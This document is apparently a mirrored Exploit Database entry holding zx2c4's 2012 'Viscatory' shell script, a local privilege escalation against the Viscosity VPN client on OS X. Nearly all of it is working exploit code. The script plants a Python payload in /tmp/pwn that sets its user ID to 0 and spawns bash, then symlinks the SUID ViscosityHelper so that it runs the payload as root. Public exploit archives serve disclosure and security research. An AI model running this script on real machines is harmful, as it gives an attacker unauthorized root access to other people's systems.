Viscosity – Local Privilege Escalation

• Exploit Database
• 15 阅读

• 作者： zx2c4
  日期： 2012-08-13
• 类别：

  • local
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/20485/

• #!/bin/sh
  #
  ##########################
  # Viscatory#
  ##
  # zx2c4#
  ##########################
  #
  # After the hullabaloo from the Tunnelblick local root, savy Mac users
  # began defending Viscosity, another OS X VPN client. They figured, since
  # they spent money on Viscosity, surely it would be better designed than
  # the free open-source alternative.
  #
  # Unfortunately, this exploit took all of 2 minutes to find. DTrace for
  # the win. Here, the SUID helper will execute site.py in its enclosing
  # folder. A simple symlink, and we have root.
  # 
  # greets to jono
  #
  # Source: http://git.zx2c4.com/Viscatory/tree/viscatory.sh
  
  echo "[+] Crafting payload."
  mkdir -p -v /tmp/pwn
  cat > /tmp/pwn/site.py <<_EOF
  import os
  print "[+] Cleaning up."
  os.system("rm -rvf /tmp/pwn")
  print "[+] Getting root."
  os.setuid(0)
  os.setgid(0)
  os.execl("/bin/bash", "bash")
  _EOF
  echo "[+] Making symlink."
  ln -s -f -v /Applications/Viscosity.app/Contents/Resources/ViscosityHelper /tmp/pwn/root
  echo "[+] Running vulnerable SUID helper."
  exec /tmp/pwn/root